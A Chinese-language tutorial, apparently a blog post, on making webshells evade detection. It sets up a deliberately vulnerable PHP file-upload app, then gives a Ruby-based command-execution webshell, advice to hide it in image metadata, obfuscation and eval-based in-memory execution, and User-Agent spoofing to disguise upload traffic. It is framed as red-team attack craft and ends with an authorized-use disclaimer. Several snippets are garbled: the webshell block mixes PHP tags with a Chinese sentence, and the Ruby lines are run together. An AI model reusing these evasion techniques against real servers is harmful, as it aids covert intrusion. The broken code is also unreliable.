一、Payload构造的艺术
在进行Webshell免杀技术的研究之前,理解Webshell是如何被检测到的,以及它们为何能够避开检测是至关重要的。Webshell是一个嵌入到Web服务器中的恶意脚本,通常用于远程控制服务器,执行任意代码或命令。大多数情况下,Webshell被检测的原因是因为它们的特征与已知的恶意脚本相似,或在执行时产生异常行为。
Webshell免杀技术的目标是使我们的脚本逃过检测。核心方法包括修改脚本特征、改变执行方式以及利用技术漏洞。在这篇文章中,我们将利用Ruby语言和Shell脚本来实现一个逃避检测的Webshell,并探讨其原理。
二、流量捕获实战
进行任何攻击之前,搭建一个合适的实验环境是必要的。我们可以使用Docker来快速搭建一个包含漏洞的Web应用程序,并捕获流量进行分析。
环境搭建

首先,我们需要一个目标应用程序。在这里,我们选择一个存在文件上传漏洞的简单PHP应用。可以使用以下Docker命令来创建:

<pre><code class="language-shell">docker run -d -p 8080:80 --name vulnerable-web -v $(pwd)/web:/var/www/html php:7.4-apache</code></pre>
将我们的PHP应用代码放入web目录,例如一个简单的文件上传功能:
<pre><code class="language-php"><?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { $target_dir = "/var/www/html/uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); echo "File uploaded successfully."; } } ?></code></pre>
流量捕获

我们要确保流量捕获,以便分析上传后的行为。可以使用tcpdump进行监听:

<pre><code class="language-shell">sudo tcpdump -i any -w capture.pcap</code></pre>
这将捕获所有进出Docker应用的网络流量。上传文件后,停止tcpdump并分析捕获的流量。
三、Webshell代码实现
在这一部分,我们编写一个简单的Webshell来实现命令执行。我们的目标是使其免杀。
<pre><code class="language-ruby"><?php
Ruby语言使用少,但它有强大的文本处理能力
system("ruby -e 'puts %x(pwd)'") ?></code></pre>
这个代码利用Ruby的系统命令来执行任意命令。为了安全性,最好将这段代码嵌入到上传的图像或其他文件的元数据中,以避开简单的文件类型检测。
四、绕过与免杀技巧
为了使我们的Webshell逃过检测,我们将使用一些技巧来改变代码的特征和执行方式。
特征变形
使用代码混淆可以有效地改变Webshell的字节特征。例如,利用Ruby来动态构造命令:
<pre><code class="language-ruby">cmd = "pwd" system("ruby -e 'puts %x(#{cmd})'")</code></pre>
内存加载
将恶意代码加载到内存中,使其不在磁盘上携带完整的有害特征。这可以使用Ruby的内置方法来实现:
<pre><code class="language-ruby">code = "puts %x(pwd)" eval(code)</code></pre>
这种动态执行方法有效地减少了静态检测的可能性。
五、隐匿的流量伪装
流量伪装是免杀技术的另一重要环节。通过修改请求头和利用加密技术,我们可以使流量看起来合法。使用Ruby库进行简单的请求伪装:
<pre><code class="language-ruby">require 'net/http' uri = URI('http://localhost:8080/uploads/shell.php') req = Net::HTTP::Post.new(uri) req['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' res = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(req) end</code></pre>
通过这些技巧,我们可以在上传Webshell时伪装流量,使其与正常用户行为无异。
六、个人经验分享
在Webshell免杀技术中,最重要的是不断创新并结合实际环境不断调整策略。没有一种万能的免杀方法,攻击者必须根据具体的目标环境灵活应变。此外,过度依赖免杀技术并不是长久之计,提升整体技术水平才是最终目标。
在实战中,合理选择工具并结合多种技术是提高攻击成功率的关键。理解攻击目标的防御措施,并进行详细的攻击链设计,是每一个红队人员必修的课程。
声明:本文仅限授权安全测试,供安全研究人员学习,不得用于非法目的。